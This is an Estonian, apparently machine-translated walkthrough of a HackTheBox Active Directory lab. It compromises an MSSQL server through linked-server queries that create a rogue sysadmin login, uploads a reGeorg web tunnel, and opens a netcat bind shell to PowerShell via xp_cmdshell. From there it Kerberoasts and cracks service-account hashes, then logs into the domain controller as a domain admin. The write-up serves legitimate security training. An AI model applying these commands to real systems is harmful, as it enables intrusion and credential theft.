HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Selles artiklis analüüsime mitte ainult masina, vaid terve minilabori läbipääsu saidilt HackTheBox.

Nagu kirjelduses öeldud, on POO loodud oskuste testimiseks rünnakute kõikides etappides väikeses Active Directory keskkonnas. Eesmärk on ohustada juurdepääsetavat hosti, suurendada privileege ja lõpuks ohustada kogu domeen, kogudes 5 lippu.

Ühendus laboriga toimub VPN-i kaudu. Soovitatav on mitte ühendust luua tööarvutist või hostist, kus on sinu jaoks olulised andmed, kuna satud infoturbe vallas midagi tundvate inimestega privaatvõrku :)

Organisatsiooniline teave
Olen loonud, et aidata teil olla kursis uute artiklite, tarkvara ja muu teabega Telegrammi kanal и gruppi, et arutada kõiki probleeme I&KB valdkonnas. Samuti teie isiklikud soovid, küsimused, ettepanekud ja soovitused Uurin seda isiklikult ja vastan kõigile..

Kogu teave on esitatud ainult hariduslikel eesmärkidel. Selle dokumendi autor ei võta endale mingit vastutust kahju eest, mis on kellelegi tekitatud selle dokumendi uurimisel saadud teadmiste ja tehnikate kasutamise tõttu.

tutvustus

See lõppmäng koosneb kahest masinast ja sisaldab 5 lippu.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Samuti on antud saadaoleva hosti kirjeldus ja aadress.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Alustame!

Luure lipp

Selle masina IP-aadress on 10.13.38.11, mille ma lisan kausta /etc/hosts.
10.13.38.11 poo.htb

Kõigepealt skannime avatud porte. Kuna kõigi portide skannimine nmapiga võtab kaua aega, teen seda esmalt masscani abil. Skaneerime kõik TCP ja UDP portid tun0 liidesest kiirusega 500 paketti sekundis.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nüüd, et saada üksikasjalikumat teavet pordides töötavate teenuste kohta, käivitame skannimise valikuga -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Seega on meil IIS- ja MSSQL-teenused. Sel juhul saame teada domeeni ja arvuti tegeliku DNS-nime. Veebiserveris tervitab meid IIS-i koduleht.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Käime läbi kataloogid. Ma kasutan selleks gobusterit. Parameetrites märgime lõimede arvu 128 (-t), URL-i (-u), sõnastikku (-w) ja meid huvitavaid laiendusi (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

See annab meile HTTP-autentimise kataloogi /admin jaoks ning juurdepääsetava töölauateenuse .DS_Store faili. .DS_Store on failid, mis salvestavad kausta kohandatud sätteid, nagu failide loend, ikooni asukohad ja valitud taustpilt. Selline fail võib sattuda veebiarendajate veebiserveri kataloogi. Sel viisil saame teavet kataloogi sisu kohta. Selleks saate kasutada DS_Poe roomaja.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Saame kataloogi sisu. Kõige huvitavam on siin /dev kataloog, kust saame vaadata allikaid ja db-faile kahes harus. Kui teenus on IIS ShortName'i suhtes haavatav, saame kasutada faili- ja katalooginimede kuut esimest tähemärki. Seda haavatavust saate kontrollida kasutades IIS-i lühinime skanner.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja leiame ühe tekstifaili, mis algab tähega "poo_co". Teadmata, mida edasi teha, valisin lihtsalt kataloogisõnastikust kõik sõnad, mis algavad tähega “co”.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Ja me lahendame selle wfuzzi abil.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja leiame õige sõna! Vaatame seda faili, salvestame volikirjad (parameetri DBNAME järgi otsustades on need pärit MSSQL-ist).

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Loovutame lipu ja anname 20% edasi.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Huh lipp

Ühendame MSSQL-iga, mina kasutan DBeaverit.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Me ei leia sellest andmebaasist midagi huvitavat, loome SQL-i redaktori ja kontrollime, millised kasutajad seal on.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Meil on kaks kasutajat. Kontrollime oma privileege.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Seega privileege pole. Vaatame lingitud servereid, ma kirjutasin selle tehnika kohta üksikasjalikult siin.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nii leiame teise SQL-serveri. Testime selles serveris käskude täitmist openquery() abil.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja me saame isegi luua päringupuu.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Asi on selles, et kui teeme päringu lingitud serverile, täidetakse päring teise kasutaja kontekstis! Vaatame, millise kasutaja kontekstis me lingitud serveris töötame.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nüüd vaatame, millises kontekstis lingitud serverist meie serverisse päring tehakse!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Seega peaks DBO kontekstil olema kõik õigused. Kontrollime õigusi lingitud serveri päringu korral.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nagu näete, on meil kõik privileegid! Loome endale sellise adminni. Kuid nad ei luba seda avatud päringu kaudu, teeme seda käsu EXECUTE AT kaudu.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Ja nüüd loome ühenduse uue kasutaja mandaatidega, jälgime uut lippude andmebaasi.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Anname selle lipu kätte ja läheme edasi.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

BackTrack lipp

Võtame MSSQL-i abil shelli, mina kasutan impacket paketist mssqlclienti.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Peame hankima paroolid ja esimene asi, mida oleme juba kohanud, on veebisait. Seega vajame veebiserveri konfiguratsiooni (mugavat kesta pole võimalik jätta, ilmselt tulemüür töötab).

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Kuid juurdepääs on keelatud. Kuigi saame faili lugeda MSSQL-ist, peame lihtsalt teadma, millised programmeerimiskeeled on konfigureeritud. Ja MSSQL-i kataloogist saame teada, et seal on Python.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Siis pole probleemi web.config faili lugemisega.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Leitud mandaatidega minge /admin ja võtke lipp.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Jalalipp

Tegelikult on tulemüüri kasutamisega kaasnevad ebamugavused, kuid võrguseadeid sirvides märkame, et kasutusel on ka IPv6!

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Lisame selle aadressi kausta /etc/hosts.
dead:babe::1001 poo6.htb
Skaneerime hosti uuesti, kuid kasutades IPv6 protokolli.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja WinRM-i teenus on saadaval IPv6 kaudu. Võtame ühendust leitud mandaatidega.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Töölaual on lipp, anname selle üle.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

P00red lipp

Pärast luure läbiviimist peremehel kasutades veiniherned Me ei leia midagi erilist. Siis otsustati uuesti volikirjad otsida (kirjutasin ka sellel teemal artiklit). Kuid ma ei saanud WinRM-i kaudu süsteemist kõiki SPN-e.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Käivitame käsu MSSQL-i kaudu.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Seda meetodit kasutades saame kasutajate SPN-i p00_hr ja p00_adm, mis tähendab, et nad on haavatavad selliste rünnakute suhtes nagu Kerberoasting. Lühidalt, saame nende parooliräsid kätte.

Kõigepealt peate hankima MSSQL-i kasutajana stabiilse kesta. Kuid kuna meil on juurdepääs piiratud, suhtleme hostiga ainult portide 80 ja 1433 kaudu. Aga läbi sadama 80 on võimalik liiklust tunneldada! Selleks kasutame järgmine rakendus. Laadime faili tunnel.aspx üles veebiserveri kodukataloogi - C:inetpubwwwroot.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Kuid kui proovime sellele juurde pääseda, saame vea 404. See tähendab, et *.aspx-faile ei käivitata. Nende laienditega failide käivitamiseks installige ASP.NET 4.5 järgmiselt.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja nüüd tunnel.aspx-i juurde pääsedes saame vastuse, et kõik on tööks valmis.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Käivitame rakenduse kliendiosa, mis edastab liiklust. Edastame kogu liikluse pordist 5432 serverisse.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja me kasutame puhverserveri kaudu mis tahes rakenduse liikluse saatmiseks puhverserverit. Lisame selle puhverserveri konfiguratsioonifaili /etc/proxychains.conf.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nüüd laadime programmi serverisse võrgukass, millega teeme stabiilse sidumiskesta ja skripti Invoke-Kerberoast, millega sooritame Kerberoastingu rünnaku.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nüüd käivitame kuulaja MSSQL-i kaudu.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja me ühendame oma puhverserveri kaudu.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja võtame räsi.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Järgmisena peate neid räsi kordama. Kuna rockyou sõnastik neid paroole ei sisaldanud, siis kasutasin KÕIKI Seclistides pakutavaid paroolide sõnastikke. Otsinguks kasutame hashcati.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Ja mõlemad paroolid leiame, esimese sõnastikust dutch_passwordlist.txt ja teise failist Keyboard-Combinations.txt.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja nii on meil kolm kasutajat, läheme domeenikontrolleri juurde. Kõigepealt saame teada tema aadressi.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Suurepärane, saime teada domeenikontrolleri IP-aadressi. Uurime välja kõik domeeni kasutajad ja ka selle, kes neist on administraator. Skripti allalaadimiseks teabe hankimiseks PowerView.ps1. Seejärel loome ühenduse evil-winrm abil, täpsustades kataloogi skriptiga parameetris -s. Ja siis laadime lihtsalt PowerView skripti.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Nüüd on meil juurdepääs kõigile selle funktsioonidele. Kasutaja p00_adm näeb välja nagu privilegeeritud kasutaja, seega töötame tema kontekstis. Loome selle kasutaja jaoks PSCredential objekti.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nüüd käivitatakse kõik Powershelli käsud, kus me määrame Creds, kui p00_adm. Kuvame kasutajate loendi ja atribuudi AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Ja nii on meie kasutajal tõesti privilegeeritud. Vaatame, mis rühmadesse ta kuulub.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Lõpuks kinnitame, et kasutaja on domeeni administraator. See annab talle õiguse kaugjuhtimisega domeenikontrollerisse sisse logida. Proovime oma tunneli abil WinRM-i kaudu sisse logida. Mind ajasid segadusse vead, mida reGeorg evil-winrm kasutamisel tekitas.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Siis kasutame teist, lihtsamat, stsenaarium WinRM-iga ühenduse loomiseks. Avame ja muudame ühenduse parameetreid.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Püüame ühendust luua ja oleme süsteemis.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Aga lippu pole. Seejärel vaadake kasutajat ja kontrollige töölaudu.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

Lipu leiame mr3ks ja labor on 100% valmis.

HackTheBoxendgame. Professionaalsete ründeoperatsioonide labori läbimine. Pentest Active Directory

See on kõik. Palun kommenteerige, kas saite sellest artiklist midagi uut teada ja kas see oli teile kasulik.

Meiega saad liituda aadressil Telegramm. Sealt leiab nii huvitavaid materjale, lekkinud kursusi kui ka tarkvara. Kogume kommuuni, kus on inimesi, kes mõistavad paljusid IT valdkondi, siis saame alati üksteist aidata mistahes IT ja infoturbe küsimustes.

Allikas: www.habr.com

Lisa kommentaar